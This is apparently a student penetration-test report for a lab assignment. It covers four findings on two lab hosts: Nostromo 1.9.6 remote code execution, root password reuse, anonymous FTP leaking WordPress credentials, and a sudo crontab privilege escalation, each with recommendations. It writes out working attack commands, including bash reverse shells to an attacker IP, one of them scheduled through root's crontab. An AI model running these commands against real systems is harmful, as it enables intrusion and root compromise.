CSOC 1020: Assignment #5

August 20, 2023

**Prepared By**: *Ashish Kishor Hedau*

Table of Contents

Introduction……………………………………………………………………………………………………………………………………………………………………………2

Engagement Summary……………………………………………………………………………………………………………………………………………………………2

Technical Findings………………………………………………………………………………………………………………………………………………………………….2

Vulnerability Title………………………………………………………………………………………………………………………………………………………2

Description ……………………………………………………………………………………………………………………………………………………………….2

Impact……………………………………………………………………………………………………………………………………………………………………….2

Recommendations…………………………………………………………………………………………………………………………………………………….2

Steps to reproduce……………………………………………………………………………………………………………………………………………………3-7

# Introduction:

In our assessment, we evaluated the IP address 10.5.20.41 with the goal of assessing the feasibility of accessing the server as a regular user. Throughout the engagement, we systematically investigated potential vulnerabilities that could lead to unauthorized entry.

# Engagement summary:

During our engagement, we exploited the vulnerability affecting the Nostromo 1.9.6 with publicly available exploit available on Github. The exploit enables us to gain access to web server as **nostromo**.

# Unpatched version of Nostromo

## Description

The evaluated “http://10.5.20.41” application was found to implement an unpatched version of Nostromo (Nostromo is an open-source web server software that is designed for small to medium-sized websites). Nostromo 1.9.6 exhibits a distinct vulnerability: remote code execution. This flaw facilitates the potential for malicious actors to compromise the system by merely employing readily available exploits.

## Impact

An attacker can use a publicly available exploit for Nostromo 1.9.6 web server from Github. The payload is designed to exploit the vulnerability by sending a POST request that triggers a shell command execution. It is constructed in such a way that the command specific in the cmd argument is executed. The exploit will help spawn a reverse shell to the attacker through which they can interact with the server remotely. As a low privileged user, the attacker can still execute malicious script on the system to delete, modify or exfiltrate the data.

## Recommendations

We recommend updating the Nostromo web server to its latest version as running the current version puts the network in jeopardy. It is important to note that Nostromo has faced security vulnerabilities and concerns in the past, leading to recommendations to avoid using it or to carefully it if it must be used. It’s generally recommended to consider widely used and actively maintained options like Apache, NGINX, or LiteSpeed.

## Steps to Reproduce

We started the enumeration process of the IP in scope (10.5.20.41) with a nmap scan “**nmap -sV -vv -Pn -n -p- 10.5.20.41**”. As highlighted below, on port 8000, Nostromo 1.9.6 is running.

![A screenshot of a computer program

Description automatically generated]()

We browsed to <http://10.5.20.41:8000>, and can see the version of Nostromo as 1.9.6 running.

![A screenshot of a computer

Description automatically generated]()

We searched for a publicly available exploit on Github and found one created by author ‘**Anubis**’ as **nostroSploit.py**.

![A screenshot of a computer

Description automatically generated]()

Here is the snippet for the exploit used in our enumeration.

![A computer screen with white text

Description automatically generated]()

On the left terminal we used the exploit downloaded from github, the command we ran is (**python3 nostroexploit.py 10.5.20.41:8000 “bash -c ‘bash -I >& /dev/tcp/172.16.1.5/4242 <&1’”**), and on the right we started a listener on port 4242 and got a shell as ‘**nostromo’.**

![A computer screen with white text

Description automatically generated]()

CSOC 1020: Assignment #5

August 20, 2023

**Prepared By**: *Ashish Kishor Hedau*

Table of Contents

Introduction……………………………………………………………………………………………………………………………………………………………………………9

Engagement Summary……………………………………………………………………………………………………………………………………………………………9

Technical Findings………………………………………………………………………………………………………………………………………………………………….9

Vulnerability Title………………………………………………………………………………………………………………………………………………………9

Description ……………………………………………………………………………………………………………………………………………………………….9

Impact……………………………………………………………………………………………………………………………………………………………………….9

Recommendations…………………………………………………………………………………………………………………………………………………….9

Steps to reproduce……………………………………………………………………………………………………………………………………………………10-14

Introduction:

In our assessment, we evaluated IP 10.5.20.41 with the goal of determining the potential to gain root access on the server. We systematically explored vulnerabilities to identify avenues for unauthorized privilege escalation.

Engagement Summary:

During our engagement, we were able to get hold of credentials for the username ‘timmy’ in the password history file through which we elevated our privileges as root, since the root user was using the same password as ‘timmy’.

## Use of same passwords for unprivileged and root user

## Description

The IP address under assessment, 10.5.20.41, has revealed a concerning security flaw in the form of a local privilege escalation vulnerability. This vulnerability arises from the utilization of identical passwords for both unprivileged user accounts and the root user account. This risky practice significantly increases the potential impact of unauthorized access.

## Impact

When an attacker, operating under a low-privileged user account ‘nostromo,’ gains access to the IP, they have the capability to execute linpeas.sh, a tool specialized in identifying privilege escalation vulnerabilities. Additionally, this attacker might uncover plaintext credentials linked to the user ‘Timmy’ within the password history. The attacker can escalate their privileges, as it happens that both Timmy and the root user share the same password. With root access obtained, the malicious actor can manipulate, delete, or exfiltrate data, placing the entire service at risk.

## Recommendations

We recommend implementing a password management policy to ensure regular password updates and prevent the reuse of passwords from the password history, in addition to avoiding reusing passwords across different accounts. To add more security, apply the principle of least privilege by restricting user accounts to the minimum level of access required to perform their tasks.

## Steps to Reproduce

We started the enumeration for privilege escalation as user ‘nostromo’ as seen below in right terminal.

![A computer screen with white text

Description automatically generated]()

First, we moved to /tmp directory as it gives access to download linpeas.sh hosted from our local machine. The command we used to download is ( [http://172.16.1.5/linpeas.sh -o linpeas.sh](http://172.16.1.5/linpeas.sh%20-o%20linpeas.sh) ). Following this, we modified the linpeas.sh using ‘**chmod 755 linpeas.sh**’.

![A screenshot of a computer

Description automatically generated]()

After running linpeas.sh on the target machine, we were able to get the password for the user ‘timmy’ as highlighted.

![A computer screen with white text and green text

Description automatically generated]()

After getting hold of the credentials for the user ‘timmy’, we used ssh to connect to the service.

![A screenshot of a computer

Description automatically generated]()

After getting access to user ‘timmy’ with ssh, we tried to get root access by using command ‘su root’ and giving the same password as user ‘timmy’ to check for the access. As seen below, we were able to login as root.

![A screenshot of a computer

Description automatically generated]()

CSOC 1020: Assignment #5

August 20, 2023

**Prepared By**: *Ashish Kishor Hedau*

Table of Contents

Introduction……………………………………………………………………………………………………………………………………………………………………………16

Engagement Summary……………………………………………………………………………………………………………………………………………………………16

Technical Findings………………………………………………………………………………………………………………………………………………………………….16

Vulnerability Title………………………………………………………………………………………………………………………………………………………16

Description ……………………………………………………………………………………………………………………………………………………………….16

Impact……………………………………………………………………………………………………………………………………………………………………….16

Recommendations…………………………………………………………………………………………………………………………………………………….16

Steps to reproduce……………………………………………………………………………………………………………………………………………………17-26

## Introduction:

In our engagement, we conducted an evaluation of the IP address within the 10.5.20.42 scope. The primary objective was to determine whether we could gain access to the WordPress website hosted on the server, specifically aiming for low-privilege access.

## Engagement Summary:

During our engagement, we found a wp-config.php having plaintext credentials accessible via the open ftp port and accessible to ‘anonymous’ user. The credentials helped us to login into the Wordpress host and upload a malicious script through a plugin to get a remote shell.

## Exposed Plaintext credentials for Wordpress login in ftp port.

## Description

The IP address under assessment, 10.5.20.42, inadvertently exposes plaintext credentials for WordPress login via an open FTP port (21) represents a security concern. The FTP (File Transfer Protocol) port is used for transferring files between computers over a network. The FTP protocol operates over the Internet Protocol and can use either clear text or secure connections. It’s important to note that traditional FTP operates in clear text, which means that the data being transferred, including usernames and passwords, is transmitted in an unencrypted format.

## Impact

An attacker can access the ftp server as an ‘anonymous’ user and can access the wp-config.php file. The file contains plaintext credentials for Wordpress login portal, following this the malicious actor could enumerate the directories of the application <http://10.5.20.42>. Consequently, they would use the credentials on hand in the **/wp-login.php** and can gain access to the application. Following this, a reverse shell php script can be uploaded in the plugin section through which the malicious actor and can a remote connection, compromising the server. After getting a remote access, they can modify, delete and exfiltrate data.

## Recommendations

We recommend disabling or restricting anonymous FTP access to prevent unauthorized access to the FTP server. Ensure that sensitive files like wp-config.php have strict permissions, in addition to avoid storing plaintext credentials in configuration files like wp-config.php. If possible, we recommend FTPS as the protocol instead of FTP. FTPS is an extension of FTP that adds support for Transport Layer Security or Secure Sockets Layer encryption. It secures the control and data connections, protecting the transmitted data from being intercepted or tampered with.

## Steps to Reproduce

We started the enumeration of the IP in scope (10.5.20.42) using ‘**nmap -sV -vv -Pn -p- 10.5.20.42**’ and we found ports 21, 22, and 80 to be open.

![A screenshot of a computer program

Description automatically generated]()

As port 80 was open on the IP, we enumerated it further using dirsearch to see some common directories accessible to the user. The command here used was “**dirsearch -u** [**http://10.5.20.42**](http://10.5.20.42)”. As highlighted, **/wp-login.php** is open which we will browse through, and will come back later to **/wp-content/uploads/** in our exploit process.

![A screenshot of a computer

Description automatically generated]()

Here, we browsed to the website <http://10.5.20.42/wp-login.php>, and found out it to be a Wordpress login landing page which required Username and password to get access to it.

![A screenshot of a computer

Description automatically generated]()

To get the credentials for the Wordpress login page, we used the ftp port to connect to the machine as an ‘anonymous’ user. Consequently, we got into the config directory and got hold of the **wp-config.php** file. To see the contents of the file, we used the command ‘**get wp-config.php**’ to download the file to our local machine.

![A screenshot of a computer

Description automatically generated]()

We used the cat command to see the contents and got the username ‘partner’ and password for the Wordpress login as highlighted.

![A screenshot of a computer

Description automatically generated]()

The username ‘partner’ and password got from the wp-config.php file is provided as the credentials here for the login.

![A screenshot of a computer

Description automatically generated]()

We added the malicious php script via the add new plugin section

![A screenshot of a computer

Description automatically generated]()

To get a reverse shell, we used a reverse shell script available in kali linux and gave our local machine IP and a port as shown in the image.

![A screenshot of a computer

Description automatically generated]()

As we have seen earlier from the dirsearch, we went back to the /wp-content/uploads directory to after uploading the php\_reverse.php script.

![A screenshot of a computer

Description automatically generated]()

We started a nc listener on port 4242 in our local machine and ran the php\_reverse.php in the browser. We got the shell back as **www-data.**

![A computer screen with white text

Description automatically generated]()

CSOC 1020: Assignment #5

August 20, 2023

**Prepared By**: *Ashish Kishor Hedau*

Table of Contents

Introduction……………………………………………………………………………………………………………………………………………………………………………28

Engagement Summary……………………………………………………………………………………………………………………………………………………………28

Technical Findings………………………………………………………………………………………………………………………………………………………………….28

Vulnerability Title………………………………………………………………………………………………………………………………………………………28

Description ……………………………………………………………………………………………………………………………………………………………….28

Impact……………………………………………………………………………………………………………………………………………………………………….28

Recommendations…………………………………………………………………………………………………………………………………………………….28

Steps to reproduce……………………………………………………………………………………………………………………………………………………29-33

## Introduction:

During our assessment, we focused on the IP address 10.5.20.42. Our objective was to escalate our privileges to that of a root user. Throughout our efforts, we explored various avenues, and eventually, we identified a potential opportunity involving a cronjob. This cronjob was running with sudo privileges, albeit for a low-level user.

## Engagement Summary:

In our engagement, we were able to discover the /bin/crontab running with sudo privilges for a low-level user. This allowed us to craft a malicious code within a new cronjob and call it with sudo privileged root user to execute. When the cronjob activated, it gave a shell back as a root user.

Unprivileged /bin/crontab access, Leading to Privilege Escalation.

## Description

The IP address being evaluated, 10.5.20.42, exhibits a critical security vulnerability whereby an ordinary user can escalate their privileges via unrestricted /bin/crontab access. This access is particularly concerning because the associated process runs with root-level permissions and does not necessitate a password for execution. Consequently, this permission flaw grants users the means to obtain root access once the schedules cronjob activates at a predefined time.

## Impact

Using minimal privileges, an attacker can execute linpeas.sh, a tool for finding privilege escalation paths. They can then exploit /bin/crontab’s sudo privileges to introduce a malicious bash command into the /tmp directory. Upon scheduling this through a new cronjob, the attacker can establish a listener and gain root access during cron activation. This intrusion jeopardizes the entire server, enabling the attacker to manipulate, delete, or extract data at will or could establish a backdoor to get access in future as well.

## Recommendations

We recommend limiting user’s privileges to the minimum necessary for their tasks, avoiding granting unnecessary sudo access. Regularly review the cronjobs to ensure that they are legitimate and not being abused. In addition, keep the system and all services up to date with the latest security patches to eliminate known vulnerabilities.

We started the enumeration as user ‘**www-data**’.

![A computer screen with white text

Description automatically generated]()

We hosted a python server on the right terminal and on the left we downloaded the linpeas.sh with the command “curl <http://17.6.1.5/linpeas.sh> -o linpeas.sh”. We modifed the linpeas.sh with chmod 755 to get execute permissions.

![A computer screen with text on it

Description automatically generated]()

As seen in the image, the /bin/crontab is a highly vulnerable vector running with root privileges with no password.

![A screenshot of a computer

Description automatically generated]()

The image shows some techniques for how to modify or create a cronjob.

Source: <https://book.hacktricks.xyz/linux-hardening/privilege-escalation>

A screenshot of a computer

Description automatically generated

**echo “\* \* \* \* \* /bin/bash -c ‘bash -I >& /dev/tcp/172.16.1.5/5252 0>&1’” > /tmp/cronjob**. This command creates a new file named cronjob in /tmp directory. It incorporates a bash script for a reverse shell.

**sudo /bin/crontab -u root /tmp/cronjob**. This command instructs the root user to use the cronjob defined in the /tmp/cronjob file. This effectively schedules the reverse shell to run periodically with root privileges.

By running both these commands we were able to elevate privileges, seen in the right terminal.

![A screenshot of a computer

Description automatically generated]()